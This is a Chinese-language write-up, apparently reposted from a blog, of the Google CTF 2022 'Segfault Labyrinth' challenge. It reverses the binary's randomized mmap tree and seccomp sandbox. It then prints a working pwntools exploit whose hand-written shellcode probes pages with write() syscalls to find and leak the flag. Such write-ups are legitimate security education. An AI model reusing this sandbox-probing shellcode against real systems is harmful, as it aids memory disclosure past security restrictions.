当前位置:网站首页>2022 Google CTF SEGFAULT LABYRINTH wp

2022 Google CTF SEGFAULT LABYRINTH wp

2022-07-07 01:16:00 xyzmpv

不要問我為什麼雙休來打CTF 問就是活該:)

Google CTF 2022 SEGFAULT LABYRINTH wp

著名的Google CTF。去年有看見一比特師傅畫了一整張紙的流程圖做了一道逆向,今年來自己嘗(自)試(虐)一下。
當然pwn是不可能pwn的,只能做道misc維持生活這樣子。很幸運在第一天做出來了SEGFAULT LABYRINTH這道Misc,交題的排名也比較不錯(當然第二天就摸了)。這裏來分享一下我的wp。

邏輯分析

首先整個程序主體基本上只有一個main函數,逆向起來並不費勁。
一開始申請一個mmap塊用來放指針,地址固定(這個地址最後會給你)。然後進入while循環。
程序的主體邏輯就在這個while(1)的循環裏面。先讀一個隨機數,再取這個隨機數第一字節的低4比特並把高4比特清零(實際上這個隨機數真正用到的只有這低4比特)。
每一個循環都會再申請16個mmap塊並將其地址按順序寫入v5指向的空間。這個過程中會用隨機數在0-16中間抽獎,只有抽中的那個塊才有權限(當然也可能臉黑,抽到1或者2 權限只有3或6)。
在這裏插入圖片描述
第一次的v5是一開始申請的那個mmap塊的地址,每一次循環都會將v5賦值為本次循環抽中的的那個有權限的塊的地址(否則接下來沒法繼續寫地址)
也就是說,整個過程相當於一個分叉樹的生長過程,每一次挑選一個隨機節點,在這個節點上生長出16個子節點,以此類推
仔細看看可以知道,涉及flag的部分在if(!--v4)這個判斷裏面,由於v4最初是10,所以實際上得跑到第10次循環才會進入邏輯,而此時已經初始化了16^10個節點(地址)。在這個分支中,會將flag讀到最後一個有權限的節點處。

示意圖如下所示:

然後,分配一塊有RWX權限的段(並在段頭放上定制的shellcode),輸出Welcome to the Segfault Labyrinth,設置保護

再讓你覆蓋ptr[0]並讀入長度為ptr[0] % (4096 - v16)字節的shellcode並執行
在這裏插入圖片描述
注意兩點:

  1. 如前所述,shellcode的開頭已經給定好了,而且總長度不得超過4096
  2. 執行shellcode時參數為mmap_addr_1,也就是分叉樹頭結點地址

寫死的shellcode開頭段(特意留下了rdi)

在這裏插入圖片描述
沙盒保護

在這裏插入圖片描述

解題思路

本質上來說題目的要求就是遍曆這個分叉樹並找到最後一個節點,再將其打印出來。
看保護可以發現可以用的系統調用只有以上幾個了。第一反應直接用shellcraft生成shellcode或寫C再編譯,摳下來PIC。
但實際調試還發現,不能使用棧否則會直接SEGFAULT(這應該也是題目名稱的來源)。在這種情况下,基本不太可能通過以上兩種方式實現,於是只能手搓shellcode了

一開始的想法是直接取空節點的值然後cmp 0,但調試中發現空節點的權限是0,直接取值會崩掉。後面有師傅提出來使用mmap去測試節點權限,結果也是會崩掉。

最後的解决辦法非常簡單粗暴——直接通過write遍曆打印每個節點。對於非空節點,返回值rax是長度,而空節點返回值則為負數。通過控制write長度+cmp rax,長度+條件跳轉的方法,就可以實現對這一分叉樹的遍曆。
最後搓出來的exp如下:

# -*- coding:utf-8 -*-
from pwn import *                                                
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./challenge')
p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337) 
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
#e = ELF()

#gdb.attach(p,'''
#b* $rebase(0x14E8)
#c
#si 16
#si 5
#''')


#local_file = 
#libc = 
#elf = ELF(local_file)



se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))

payload=asm('mov r15,rdi') #保存頭節點地址
payload+=asm('mov rsi,[rdi]') #取頭節點指向的第一個地址
payload+=asm('mov rdi,1')
payload+=asm('mov rdx,0x40')
payload+=asm('mov rax,1')
payload+=asm('syscall') #構造write
payload+=asm('add r15,8') #默認不通過校驗,頭節點指針順移
payload+=asm('mov rdi,r15')
payload+=asm('cmp rax,0x40') 
payload+=asm('jnz $-37') #若不通過,則前期准備完成,直接跳回第二條匯編
payload+=asm('sub r15,8') #通過,先複比特頭節點指針,再迭代指針
payload+=asm('mov r15,[r15]')
payload+=asm('mov rdi,r15')
payload+=asm('jmp $-49')#返回第二條匯編,繼續循環
sa('Welcome to the Segfault Labyrinth',p64(len(payload)))

se(payload)

p.interactive()

小結

  • 這個辦法自我感覺還是不錯的,通過write的報錯和返回值進行遍曆判斷,同時也直接能打印出flag,而且長度只有14條匯編
  • pwntools匯編的向上跳轉跟正常匯編器一樣,需要先計算出前面的指令長度再寫
  • 一開始逆錯了,以為v5始終是開頭給的那個mmap地址,調試了一下發現沒法直接找到flag,而且內存有一堆mmap塊,這才反應過來
  • 感謝做題過程中參與頭腦風暴的兩比特師傅,提供了很多寶貴的建議。第一次在這種級別比賽做出題而且交題的順比特比較不錯,還是很開心的。
  • pwn是不可能pwn的,只能做點misc維持生活這樣子
原网站

版权声明
本文为[xyzmpv]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/188/202207061731333444.html